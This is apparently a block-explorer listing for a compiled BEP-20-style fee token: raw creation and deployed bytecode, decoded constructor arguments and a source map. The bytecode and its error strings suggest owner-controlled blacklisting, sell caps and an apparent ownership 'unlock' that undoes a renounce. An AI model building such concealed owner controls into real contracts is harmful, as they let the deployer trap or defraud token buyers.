d6565b90612424565b611d36576001600160a01b0387166000908152601460205260408120600201555b604080518681526001600160a01b038916602082015281517f845540a7f3f9afb8980bffef1e5a59039c43bbd45de62cc2ce5def5830465f04929181900390910190a1611e7c565b6001600160a01b03871660009081526017602052604090205460ff16158015611dc057506001600160a01b03861660009081526017602052604090205460ff16155b15611e7c57600854600160c01b900460ff16151560011415611e0357611de686866123ac565b6001600160a01b0387166000908152601460205260409020600201555b611e1085611d0f89610dd6565b611e31576001600160a01b0387166000908152601460205260408120600201555b604080516001600160a01b03808a1682528816602082015280820187905290517f38e8feed990acd7f5210170f614d354c7a0485670b9a787e9e00f8fca640d5749181900360600190a15b6000611e9860646117a8600d548961147390919063ffffffff16565b6001600160a01b03881660009081526018602052604090205490915060ff1615611ece57611ecc60646117a8886001611473565b015b600854600090600160b81b900460ff1615156001148015611f0857506001600160a01b03891660009081526017602052604090205460ff16155b8015611f2c57506001600160a01b03881660009081526018602052604090205460ff165b15611f9e57600060018515151415611f5f57600f548711611f4e576001611f5c565b600f54611f5c908890611431565b90505b6001600160a01b038a16600090815260146020526040902060020154611f86908983612466565b9150828211611f96576000611f9a565b8282035b9150505b611faa87838301612424565b9650611fb98930838501612189565b50505b611fc7878787612189565b505050505b505050565b600081848411156120605760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561202557818101518382015260200161200d565b50505050905090810190601f1680156120525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b610db78282612521565b6001600160a01b03821660009081526018602052604090205460ff16151581151514156120d05760405162461bcd60e51b815260040180806020018281038252603f815260200180612a9d603f913960400191505060405180910390fd5b6001600160a01b038216600081815260186020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b600081836121735760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561202557818101518382015260200161200d565b50600083858161217f57fe5b0495945050505050565b6001600160a01b0383166121ce5760405162461bcd60e51b8152600401808060200182810382526025815260200180612a1a6025913960400191505060405180910390fd5b6001600160a01b0382166122135760405162461bcd60e51b815260040180806020018281038252602381526020018061287f6023913960400191505060405180910390fd5b61221e838383611fcc565b61225b816040518060600160405280602681526020016128c4602691396001600160a01b0386166000908152602081905260409020549190611fd1565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461228a90826113d0565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6122ed81612611565b601c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610db7573d6000803e3d6000fd5b6000612333826002611431565b905060006123418383612424565b90504761234d83612611565b60006123594783612424565b905061236583826127c0565b604080518581526020810183905280820185905290517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15050505050565b6000806123b76112de565b6001600160a01b0385166000908152601460205260408120600201549192506123df86610dd6565b90508115806123ec575080155b156123f95782935061241b565b846124065781935061241b565b61241882820284870201828701611431565b93505b50505092915050565b600061142a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fd1565b6000806124716112de565b905060008515806124825750606485105b156124905760009250612518565b8186600a0110156125135760646124be6124b76124b08986036002611431565b8590611431565b8290611431565b915084600e5411156125085784600e54038210156124dc57816124e2565b84600e54035b9150600082116124f3576000612501565b612501816117a88885611473565b935061250d565b600093505b50612518565b600092505b50509392505050565b6001600160a01b03821661257c576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61258860008383611fcc565b60025461259590826113d0565b6002556001600160a01b0382166000908152602081905260409020546125bb90826113d0565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061264057fe5b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561269457600080fd5b505afa1580156126a8573d6000803e3d6000fd5b505050506040513d60208110156126be57600080fd5b50518151829060019081106126cf57fe5b6001600160a01b0392831660209182029290920101526008546126f591309116846114d0565b60085460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561277b578181015183820152602001612763565b505050509050019650505050505050600060405180830381600087803b1580156127a457600080fd5b505af11580156127b8573d6000803e3d6000fd5b505050505050565b6008546127d89030906001600160a01b0316846114d0565b600854601b546040805163f305d71960e01b81523060048201526024810186905260006044820181905260648201526001600160a01b0392831660848201524260a48201529051919092169163f305d71991849160c48082019260609290919082900301818588803b15801561284d57600080fd5b505af1158015612861573d6000803e3d6000fd5b50505050506040513d606081101561287857600080fd5b5050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365596f75722061646472657373206f7220726563697069656e742061646472657373206973205472616e7366657265645472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572546f6b656e3a205468652050616e63616b655377617020706169722063616e6e6f742062652072656d6f7665642066726f6d206175746f6d617465644d61726b65744d616b6572506169727345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737353656c6c207472616e7366657220616d6f756e74206578636565647320746865206d617853656c6c5472616e73616374696f6e416d6f756e742e45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373546f6b656e3a204175746f6d61746564206d61726b6574206d616b6572207061697220697320616c72656164792073657420746f20746861742076616c7565596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d36ff9151d22fb8703757729c65cd1afd655e639ff951eb7beb8cdee1e615a4564736f6c63430007060033536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000e8d4a5100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000099e7a0a668e909fcd3f246b9a2fe20032119e6df00000000000000000000000099e7a0a668e909fcd3f246b9a2fe20032119e6df
Deployed Bytecode
0x6080604052600436106102815760003560e01c80637290b6211161014f578063be4762e5116100c1578063dd62ed3e1161007a578063dd62ed3e146108f3578063ddbbf6831461092e578063e2f4560514610958578063e6c75f711461096d578063eb91d37e14610982578063f8b3c23e1461099757610288565b8063be4762e5146107e6578063bf56b37114610819578063c02466681461082e578063ca02d79114610869578063cb0e55a81461087e578063da473fcd146108de57610288565b806398118cb41161011357806398118cb4146106dc5780639a7a23d6146106f15780639ec5691d1461072c578063a457c2d714610741578063a9059cbb1461077a578063b62496f5146107b357610288565b80637290b6211461063b5780637316c2e914610671578063877f4de51461069d5780638da5cb5b146106b257806395d89b41146106c757610288565b80631fca803d116101f357806347cee97c116101ac57806347cee97c1461057b57806349bd5a5e146105b45780635aa821a9146105c95780636b67c4df146105de57806370a08231146105f3578063715018a61461062657610288565b80631fca803d1461047757806323b872dd146104aa578063264d26dd146104ed578063313ce5671461050257806331a0a88c1461052d578063395093511461054257610288565b806313114a9d1161024557806313114a9d146103b75780631694505e146103cc57806318160ddd146103fd5780631b55ba3a146104125780631c15aa11146104275780631c62597d1461043c57610288565b806301339c211461028d57806301f59d16146102a457806302259e9e146102cb57806306fdde03146102e0578063095ea7b31461036a57610288565b3661028857005b600080fd5b34801561029957600080fd5b506102a26109ac565b005b3480156102b057600080fd5b506102b9610a27565b60408051918252519081900360200190f35b3480156102d757600080fd5b506102b9610a2d565b3480156102ec57600080fd5b506102f5610a33565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561032f578181015183820152602001610317565b50505050905090810190601f16801561035c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037657600080fd5b506103a36004803603604081101561038d57600080fd5b506001600160a01b038135169060200135610ac9565b604080519115158252519081900360200190f35b3480156103c357600080fd5b506102b9610ae7565b3480156103d857600080fd5b506103e1610aed565b604080516001600160a01b039092168252519081900360200190f35b34801561040957600080fd5b506102b9610afc565b34801561041e57600080fd5b506102a2610b02565b34801561043357600080fd5b506103a3610bae565b34801561044857600080fd5b506102a26004803603604081101561045f57600080fd5b506001600160a01b0381351690602001351515610bbe565b34801561048357600080fd5b506103a36004803603602081101561049a57600080fd5b50356001600160a01b0316610c41565b3480156104b657600080fd5b506103a3600480360360608110156104cd57600080fd5b506001600160a01b03813581169160208101359091169060400135610c56565b3480156104f957600080fd5b506103e1610cdd565b34801561050e57600080fd5b50610517610cec565b6040805160ff9092168252519081900360200190f35b34801561053957600080fd5b506103a3610cf1565b34801561054e57600080fd5b506103a36004803603604081101561056557600080fd5b506001600160a01b038135169060200135610d01565b34801561058757600080fd5b506102a26004803603604081101561059e57600080fd5b506001600160a01b038135169060200135610d4f565b3480156105c057600080fd5b506103e1610dbb565b3480156105d557600080fd5b506102b9610dca565b3480156105ea57600080fd5b506102b9610dd0565b3480156105ff57600080fd5b506102b96004803603602081101561061657600080fd5b50356001600160a01b0316610dd6565b34801561063257600080fd5b506102a2610df1565b34801561064757600080fd5b506102a26004803603606081101561065e57600080fd5b5080359060208101359060400135610ea8565b34801561067d57600080fd5b506102a26004803603602081101561069457600080fd5b50351515610f17565b3480156106a957600080fd5b506103a3610f8d565b3480156106be57600080fd5b506103e1610f9d565b3480156106d357600080fd5b506102f5610fac565b3480156106e857600080fd5b506102b961100d565b3480156106fd57600080fd5b506102a26004803603604081101561071457600080fd5b506001600160a01b0381351690602001351515611013565b34801561073857600080fd5b506103a36110c2565b34801561074d57600080fd5b506103a36004803603604081101561076457600080fd5b506001600160a01b0381351690602001356110d2565b34801561078657600080fd5b506103a36004803603604081101561079d57600080fd5b506001600160a01b03813516906020013561113a565b3480156107bf57600080fd5b506103a3600480360360208110156107d657600080fd5b50356001600160a01b031661114e565b3480156107f257600080fd5b506103a36004803603602081101561080957600080fd5b50356001600160a01b0316611163565b34801561082557600080fd5b506102b9611178565b34801561083a57600080fd5b506102a26004803603604081101561085157600080fd5b506001600160a01b038135169060200135151561117e565b34801561087557600080fd5b506103e1611236565b34801561088a57600080fd5b506108b1600480360360208110156108a157600080fd5b50356001600160a01b0316611245565b60408051958652602086019490945284840192909252606084015215156080830152519081900360a00190f35b3480156108ea57600080fd5b506102b9611277565b3480156108ff57600080fd5b506102b96004803603604081101561091657600080fd5b506001600160a01b038135811691602001351661127d565b34801561093a57600080fd5b506103e16004803603602081101561095157600080fd5b50356112a8565b34801561096457600080fd5b506102b96112d2565b34801561097957600080fd5b506102b96112d8565b34801561098e57600080fd5b506102b96112de565b3480156109a357600080fd5b506103a36113c0565b6109b46114cc565b6005546001600160a01b03908116911614610a04576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b6008805460ff60b01b1916600160b01b179055610a2242600a6113d0565b601355565b600e5481565b60115481565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610abf5780601f10610a9457610100808354040283529160200191610abf565b820191906000526020600020905b815481529060010190602001808311610aa257829003601f168201915b5050505050905090565b6000610add610ad66114cc565b84846114d0565b5060015b92915050565b600d5481565b6008546001600160a01b031681565b60025490565b6006546001600160a01b03163314610b4b5760405162461bcd60e51b8152600401808060200182810382526023815260200180612adc6023913960400191505060405180910390fd5b6006546005546040516001600160a01b0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600654600580546001600160a01b0319166001600160a01b03909216919091179055565b600854600160b81b900460ff1681565b610bc66114cc565b6005546001600160a01b03908116911614610c16576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b60166020526000908152604090205460ff1681565b6000610c638484846115bc565b610cd384610c6f6114cc565b610cce85604051806060016040528060288152602001612986602891396001600160a01b038a16600090815260016020526040812090610cad6114cc565b6001600160a01b031681526020810191909152604001600020549190611fd1565b6114d0565b5060019392505050565b601b546001600160a01b031681565b600990565b600854600160c81b900460ff1681565b6000610add610d0e6114cc565b84610cce8560016000610d1f6114cc565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906113d0565b610d576114cc565b6005546001600160a01b03908116911614610da7576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b610db78282633b9aca0002612068565b5050565b601a546001600160a01b031681565b60105481565b600c5481565b6001600160a01b031660009081526020819052604090205490565b610df96114cc565b6005546001600160a01b03908116911614610e49576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b600554600680546001600160a01b0319166001600160a01b039092169182179055604051600091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b610eb06114cc565b6005546001600160a01b03908116911614610f00576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b633b9aca0092830260105590820260115502601255565b610f1f6114cc565b6005546001600160a01b03908116911614610f6f576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b60088054911515600160a81b0260ff60a81b19909216919091179055565b600854600160a81b900460ff1681565b6005546001600160a01b031690565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610abf5780601f10610a9457610100808354040283529160200191610abf565b600b5481565b61101b6114cc565b6005546001600160a01b0390811691161461106b576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b601a546001600160a01b03838116911614156110b85760405162461bcd60e51b815260040180806020018281038252604c8152602001806129ce604c913960600191505060405180910390fd5b610db78282612072565b600854600160c01b900460ff1681565b6000610add6110df6114cc565b84610cce85604051806060016040528060258152602001612aff60259139600160006111096114cc565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611fd1565b6000610add6111476114cc565b84846115bc565b60186020526000908152604090205460ff1681565b60156020526000908152604090205460ff1681565b60135481565b6111866114cc565b6005546001600160a01b039081169116146111d6576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b6001600160a01b038216600081815260176020908152604091829020805460ff1916851515908117909155825190815291517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79281900390910190a25050565b601c546001600160a01b031681565b601460205260009081526040902080546001820154600283015460038401546004909401549293919290919060ff1685565b60095481565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b601981815481106112b857600080fd5b6000918252602090912001546001600160a01b0316905081565b600a5481565b60125481565b601a5460408051630240bc6b60e21b815290516000926001600160a01b031691839182918491630902f1ac91600480820192606092909190829003018186803b15801561132a57600080fd5b505afa15801561133e573d6000803e3d6000fd5b505050506040513d606081101561135457600080fd5b5080516020909101516dffffffffffffffffffffffffffff91821693501690508181111561137e57905b8061138c57600093506113ba565b8181655af3107a40000211156113b5576113ae655af3107a4000820283611431565b93506113ba565b600093505b50505090565b600854600160b01b900460ff1681565b60008282018381101561142a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600061142a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612124565b60008261148257506000610ae1565b8282028284828161148f57fe5b041461142a5760405162461bcd60e51b81526004018080602001828103825260218152602001806129656021913960400191505060405180910390fd5b3390565b6001600160a01b0383166115155760405162461bcd60e51b8152600401808060200182810382526024815260200180612a796024913960400191505060405180910390fd5b6001600160a01b03821661155a5760405162461bcd60e51b81526004018080602001828103825260228152602001806128a26022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166116015760405162461bcd60e51b8152600401808060200182810382526025815260200180612a1a6025913960400191505060405180910390fd5b6001600160a01b0382166116465760405162461bcd60e51b815260040180806020018281038252602381526020018061287f6023913960400191505060405180910390fd5b6001600160a01b03821660009081526015602052604090205460ff1615801561168857506001600160a01b03831660009081526015602052604090205460ff16155b6116c35760405162461bcd60e51b815260040180806020018281038252602f8152602001806128ea602f913960400191505060405180910390fd5b806116d9576116d483836000612189565b611fcc565b60006116e430610dd6565b90506000600a54821015905060008180156117095750600854600160a01b900460ff16155b801561172e57506001600160a01b03861660009081526018602052604090205460ff16155b8015611753575061173d610f9d565b6001600160a01b0316866001600160a01b031614155b80156117785750611762610f9d565b6001600160a01b0316856001600160a01b031614155b1561186d576008805460ff60a01b1916600160a01b179055600d54600c546000916117ae916117a8908790611473565b90611431565b90506117b9816122e4565b601c54604080518381526001600160a01b03909216602083015280517feafa9125fd4b0edd379b9ab67721e8f4eb26bc018c352092ccac54a89ac6fed79281900390910190a1600061181c600d546117a8600b548861147390919063ffffffff16565b905061182781612326565b6040805182815290517f61d10b3f17a77466a4241488e37c886fa1637f9863ae76dd5076a80a932bc4eb9181900360200190a150506008805460ff60a01b191690555060015b6008546001600160a01b03871660009081526017602052604090205460ff600160a01b9092048216159116806118bb57506001600160a01b03861660009081526017602052604090205460ff165b156118c4575060005b8015611fbc576001600160a01b03871660009081526018602052604090205460ff1615611b5d57600854600160b01b900460ff16611949576040805162461bcd60e51b815260206004820152601860248201527f546f6b656e2069736e2774206c61756e63686564207965740000000000000000604482015290519081900360640190fd5b60105485111561198a5760405162461bcd60e51b81526004018080602001828103825260288152602001806129196028913960400191505060405180910390fd5b6012548561199788610dd6565b0111156119d55760405162461bcd60e51b81526004018080602001828103825260248152602001806129416024913960400191505060405180910390fd5b60135442118015908190611a0257506001600160a01b03871660009081526016602052604090205460ff16155b15611a5357601980546001810182556000919091527f944998273e477b495144fb8794c914197f3ccb46be2900f4698fd0ef743c96950180546001600160a01b0319166001600160a01b0389161790555b600854600160a81b900460ff168015611a8557506001600160a01b03871660009081526016602052604090205460ff16155b15611ad657601980546001810182556000919091527f944998273e477b495144fb8794c914197f3ccb46be2900f4698fd0ef743c96950180546001600160a01b0319166001600160a01b0389161790555b600854600160c01b900460ff16151560011415611b1457611af787876123ac565b6001600160a01b0388166000908152601460205260409020600201555b604080518781526001600160a01b038916602082015281517f1df6c66a1a6eb6b0b6a23930c6ec94664e676e5d72f819a20a11e6c54540fa42929181900390910190a150611e7c565b6001600160a01b03861660009081526018602052604090205460ff1615611d7e576001600160a01b03871660009081526016602052604090205460ff1615611bdd576040805162461bcd60e51b815260206004820152600e60248201526d2cb7ba9030b9329039b734b832b960911b604482015290519081900360640190fd5b601154851115611c1e5760405162461bcd60e51b815260040180806020018281038252603a815260200180612a3f603a913960400191505060405180910390fd5b600854600160c81b900460ff1615156001148015611c5857506001600160a01b03871660009081526014602052604090206004015460ff16155b15611d02576000611c6888610dd6565b90506002811115611d0057611c7e816002611431565b861115611c8a57600080fd5b6001600160a01b03881660009081526014602052604090206003908101805488019055611cb8908290611431565b6001600160a01b03891660009081526014602052604090206003015410611d00576001600160a01b0388166000908152601460205260409020600401805460ff191660011790555b505b611d1585611d0f89610dd6565b90612424565b611d36576001600160a01b0387166000908152601460205260408120600201555b604080518681526001600160a01b038916602082015281517f845540a7f3f9afb8980bffef1e5a59039c43bbd45de62cc2ce5def5830465f04929181900390910190a1611e7c565b6001600160a01b03871660009081526017602052604090205460ff16158015611dc057506001600160a01b03861660009081526017602052604090205460ff16155b15611e7c57600854600160c01b900460ff16151560011415611e0357611de686866123ac565b6001600160a01b0387166000908152601460205260409020600201555b611e1085611d0f89610dd6565b611e31576001600160a01b0387166000908152601460205260408120600201555b604080516001600160a01b03808a1682528816602082015280820187905290517f38e8feed990acd7f5210170f614d354c7a0485670b9a787e9e00f8fca640d5749181900360600190a15b6000611e9860646117a8600d548961147390919063ffffffff16565b6001600160a01b03881660009081526018602052604090205490915060ff1615611ece57611ecc60646117a8886001611473565b015b600854600090600160b81b900460ff1615156001148015611f0857506001600160a01b03891660009081526017602052604090205460ff16155b8015611f2c57506001600160a01b03881660009081526018602052604090205460ff165b15611f9e57600060018515151415611f5f57600f548711611f4e576001611f5c565b600f54611f5c908890611431565b90505b6001600160a01b038a16600090815260146020526040902060020154611f86908983612466565b9150828211611f96576000611f9a565b8282035b9150505b611faa87838301612424565b9650611fb98930838501612189565b50505b611fc7878787612189565b505050505b505050565b600081848411156120605760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561202557818101518382015260200161200d565b50505050905090810190601f1680156120525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b610db78282612521565b6001600160a01b03821660009081526018602052604090205460ff16151581151514156120d05760405162461bcd60e51b815260040180806020018281038252603f815260200180612a9d603f913960400191505060405180910390fd5b6001600160a01b038216600081815260186020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b600081836121735760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561202557818101518382015260200161200d565b50600083858161217f57fe5b0495945050505050565b6001600160a01b0383166121ce5760405162461bcd60e51b8152600401808060200182810382526025815260200180612a1a6025913960400191505060405180910390fd5b6001600160a01b0382166122135760405162461bcd60e51b815260040180806020018281038252602381526020018061287f6023913960400191505060405180910390fd5b61221e838383611fcc565b61225b816040518060600160405280602681526020016128c4602691396001600160a01b0386166000908152602081905260409020549190611fd1565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461228a90826113d0565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6122ed81612611565b601c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610db7573d6000803e3d6000fd5b6000612333826002611431565b905060006123418383612424565b90504761234d83612611565b60006123594783612424565b905061236583826127c0565b604080518581526020810183905280820185905290517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15050505050565b6000806123b76112de565b6001600160a01b0385166000908152601460205260408120600201549192506123df86610dd6565b90508115806123ec575080155b156123f95782935061241b565b846124065781935061241b565b61241882820284870201828701611431565b93505b50505092915050565b600061142a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fd1565b6000806124716112de565b905060008515806124825750606485105b156124905760009250612518565b8186600a0110156125135760646124be6124b76124b08986036002611431565b8590611431565b8290611431565b915084600e5411156125085784600e54038210156124dc57816124e2565b84600e54035b9150600082116124f3576000612501565b612501816117a88885611473565b935061250d565b600093505b50612518565b600092505b50509392505050565b6001600160a01b03821661257c576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61258860008383611fcc565b60025461259590826113d0565b6002556001600160a01b0382166000908152602081905260409020546125bb90826113d0565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061264057fe5b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561269457600080fd5b505afa1580156126a8573d6000803e3d6000fd5b505050506040513d60208110156126be57600080fd5b50518151829060019081106126cf57fe5b6001600160a01b0392831660209182029290920101526008546126f591309116846114d0565b60085460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561277b578181015183820152602001612763565b505050509050019650505050505050600060405180830381600087803b1580156127a457600080fd5b505af11580156127b8573d6000803e3d6000fd5b505050505050565b6008546127d89030906001600160a01b0316846114d0565b600854601b546040805163f305d71960e01b81523060048201526024810186905260006044820181905260648201526001600160a01b0392831660848201524260a48201529051919092169163f305d71991849160c48082019260609290919082900301818588803b15801561284d57600080fd5b505af1158015612861573d6000803e3d6000fd5b50505050506040513d606081101561287857600080fd5b5050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365596f75722061646472657373206f7220726563697069656e742061646472657373206973205472616e7366657265645472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572546f6b656e3a205468652050616e63616b655377617020706169722063616e6e6f742062652072656d6f7665642066726f6d206175746f6d617465644d61726b65744d616b6572506169727345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737353656c6c207472616e7366657220616d6f756e74206578636565647320746865206d617853656c6c5472616e73616374696f6e416d6f756e742e45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373546f6b656e3a204175746f6d61746564206d61726b6574206d616b6572207061697220697320616c72656164792073657420746f20746861742076616c7565596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d36ff9151d22fb8703757729c65cd1afd655e639ff951eb7beb8cdee1e615a4564736f6c63430007060033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000e8d4a5100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000099e7a0a668e909fcd3f246b9a2fe20032119e6df00000000000000000000000099e7a0a668e909fcd3f246b9a2fe20032119e6df
-----Decoded View---------------
Arg [0] : liqFee (uint256): 0
Arg [1] : marketFee (uint256): 2
Arg [2] : supply (uint256): 1000000000000
Arg [3] : maxBuyPercent (uint256): 0
Arg [4] : maxSellPercent (uint256): 2
Arg [5] : maxWalletPercent (uint256): 2
Arg [6] : marketingWallet (address): 0x99E7a0a668e909FcD3f246B9A2fE20032119e6df
Arg [7] : liqudityWallet (address): 0x99E7a0a668e909FcD3f246B9A2fE20032119e6df
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [2] : 000000000000000000000000000000000000000000000000000000e8d4a51000
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [6] : 00000000000000000000000099e7a0a668e909fcd3f246b9a2fe20032119e6df
Arg [7] : 00000000000000000000000099e7a0a668e909fcd3f246b9a2fe20032119e6df
Deployed Bytecode Sourcemap
30020:14162:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33353:117;;;;;;;;;;;;;:::i;:::-;;30622:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;30740:39;;;;;;;;;;;;;:::i;21699:100::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23864:169;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;23864:169:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;30558:57;;;;;;;;;;;;;:::i;30099:41::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;30099:41:0;;;;;;;;;;;;;;22817:108;;;;;;;;;;;;;:::i;12197:221::-;;;;;;;;;;;;;:::i;30233:34::-;;;;;;;;;;;;;:::i;33810:119::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;33810:119:0;;;;;;;;;;:::i;30962:42::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;30962:42:0;-1:-1:-1;;;;;30962:42:0;;:::i;24515:355::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;24515:355:0;;;;;;;;;;;;;;;;;:::i;31209:32::-;;;;;;;;;;;;;:::i;22660:92::-;;;;;;;;;;;;;:::i;:::-;;;